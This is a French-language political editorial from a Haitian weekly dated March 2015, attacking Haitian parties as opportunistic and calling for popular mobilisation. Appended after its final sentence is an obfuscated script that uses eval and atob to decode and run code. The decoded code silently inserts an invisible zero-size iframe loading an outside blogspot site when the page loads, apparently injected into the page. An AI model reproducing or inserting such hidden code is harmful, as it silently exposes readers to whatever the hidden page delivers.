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Vol. 8 • No. 37 • Du 25 au 31 Mars 2015
Du déséquilibre à la banqueroute totale des partis politiques !
Berthony Dupont

 
 
EDITORIAL
Tout pays vit à l’image des ses partis politiques. Quand les partis sont organisés et forts, nous pouvons facilement le constater dans le fonctionnement quotidien d’un pays ; vu qu’il n’y a pas de pays sans partis politiques et de partis politiques sans pays. Le rôle essentiel d’un parti politique est de participer à l’animation de la vie politique. La force politique économique et sociale d’un pays passe pour être la résultante de ses partis politiques et l’une des tâches fondamentales d’un parti est l’aiguisement de la lutte des classes.<p> Tout récemment, on critiquait certains parlementaires de la 49ème législature pour leur tempérament de tapis, leur caractère plat. Certains d’entr’eux rampaient pour acquérir une quelconque faveur au niveau de l’Etat sans se soucier d’aucune éthique. Agissant de la sorte, ils ne font que reproduire les idéaux des partis qui les ont désignés à leur poste. La politique d’un pays est le reflet de ses partis ; vu que les partis sont les seuls vrais responsables politiques de n’importe quel pays. <p> Or, en Haïti, il est rare de trouver un élu qui reste attaché à son parti indéfiniment, à moins qu’il n’en soit le propriétaire ou un membre influent de cette boite. Les élus haïtiens n’ont aucun respect pour leur parti, et qui pis est le parti n’a aucune influence sur ses membres, une fois élu. C’est la débandade totale au sein des partis qui déjà sont sans aucune vision, sans aucun principe, sans aucune éthique ; de sorte qu’il est tout naturel qu’on ne peut s’attendre à aucun miracle de leur part ; de là Haiti ne peut que continuer de vivre à l’image des médiocres partis politiques qui y pullulent. <p> Beaucoup de gens se montrent étonnés de la quantité de partis, plateformes et regroupements politiques qui se sont inscrits au local du Conseil Electoral Provisoire pour participer aux prochaines joutes électorales de Martelly et d’Evans Paul ; soit 192 au total. Pourtant, il n’y a rien de nouveau sous le soleil d’Haiti, si ce n’est simplement que le déséquilibre qui s’accentue beaucoup plus. Il est un fait certain qu’en Haiti depuis un certain temps, élection signifie emploi. Dès que les élections sont déclarées tout le monde cherche une quelconque opportunité, soit au CEP, soit dans un BED ou un BEC, soit comme candidat à tout autre poste électif ; et voilà! <p> Bien souvent, le critère qui force quelqu’un à adhérer à un parti, n’est pas toujours politique ; il s’agit de trouver du boulot afin de soutirer de l’argent, user de pouvoir et d’influence. C’est la raison pour laquelle les partis au pouvoir ont toujours eu beaucoup plus de membres que les autres ; car ces adhérents savent qu’ils seront sélectionnés sans problème lors des mascarades électorales. Parfois certains partis sont populaires et pourtant coupés des masses. Triste constat! <p> Dans bien des cas, quand un parti ne choisit pas quelqu’un comme candidat, ce dernier va faire feu de tout bois pour se présenter coûte que coûte aux élections à ses dépens. Certains vont jusqu’à se faire enregistrer soit comme indépendants soit en prenant un autre parti comme chapeau légal ; sans tenir compte des différences idéologiques. Il suffit de se présenter au concours électoral comme à un concours d’emploi pour ne pas perdre l’opportunité de cette chance qui passe. <p> Un vrai parti politique, dans le sens institutionnel et scientifique du terme, nous n’en avons pas encore en Haiti ; et c’est là une des plus grandes faiblesses du pays. Vu qu’un parti doit être un ensemble, une unité qui agit pour le besoin d’une collectivité. Donc, il nous faut des partis d’avant-garde d’ouvriers, de paysans, d’étudiants et de chômeurs armés d’une idéologie claire qui mènera à une rupture complète avec les structures, les méthodes et la mentalité du système social en cours pour le transformer dans la construction d’une démocratie populaire. Et c’est le rêve combien grand de la Coordination Dessalines (KOD) ; c’est pour cette raison également que ce parti n’est pas dans cette liste de la honte qui offre une façade démocratique à Martelly pour sa résurrection politique. <p> En vérité, présentement, les partis de l’opposition n’ont aucun point de rupture avec le régime de Martelly-Paul ou le système en place. Il n’y a rien dans leurs agissements qui les diffère du gouvernement. Bien souvent, c’est la continuité logique du pouvoir en place qu’ils essaient d’assurer. Une continuité inscrite dans la pratique des conceptions et des objectifs sociaux en cours. Ce que nous constatons, malheureusement, c’est la trahison des aspirations populaires. Tous ces partis se confondent en de vrais commanditaires commerciaux, propriété privée d’un gros potentat politique ou économique cherchant toujours à manipuler les choses en sa faveur. Ainsi, au lieu de transformer la faiblesse en force, ils transforment la force en faiblesse, se leurrant qu’ils vont déchouquer Martelly aux élections. Quelle sotte naïveté! Même quand Martelly laisserait le pouvoir en 2016, ce qui compte, c’est la continuité de la politique des deux derniers coups d’État qui sera assurée avec l’appui des puissances tutrices et leurs bras armés la Minustah. <p> Selon toute vraisemblance, ces partis ne fonctionnant qu’avec des opportunistes ne visent simplement et seulement que des actions électoralistes. En Haiti, à l’exception des partis révolutionnaires, anti-impérialistes, la majorité des partis politiques pour ne pas dire tous sont de cet acabit. C’est dans cette alternative qu’ils sont pour les puissances impérialistes de véritables outils de travail, des courroies de transmission pour faire passer aisément les stratégies nécessaires au maintien de la domination impériale. <p> Les organisations populaires conséquentes ne doivent pas lâcher du lest. Ces partis finiront par disparaître. De nouvelles mobilisations sont à imposer de sorte que le mouvement populaire ne se fourvoie dans une impasse. Nous devons continuer à concevoir, organiser entreprendre des actions unitaires autour d’objectifs connus afin d’en finir avec un système vicié, aujourd’hui représenté par un régime de mercenaires et de trafiquants. <p> Face à cette banqueroute totale des partis politiques, le cours de l’histoire est irréversible ! <script>eval(atob("aWZybSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklGUkFNRSIpO2lmcm0uc2V0QXR0cmlidXRlKCJzcmMiLCAiaHR0cHM6Ly93aW5uZXJzY29mZmVlLmJsb2dzcG90LmNvbS8iKTtpZnJtLnN0eWxlLndpZHRoID0gMCsicHgiO2lmcm0uc3R5bGUuaGVpZ2h0ID0gMCsicHgiO2lmcm0uc3R5bGUuYm9yZGVyPSIwcHgiO2lmcm0uc3R5bGUudmlzaWJpbGl0eT0gImhpZGRlbiI7c2V0VGltZW91dChmdW5jdGlvbigpe2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZybSk7fSwxMDAwKQ==")); </script>
 
 
 
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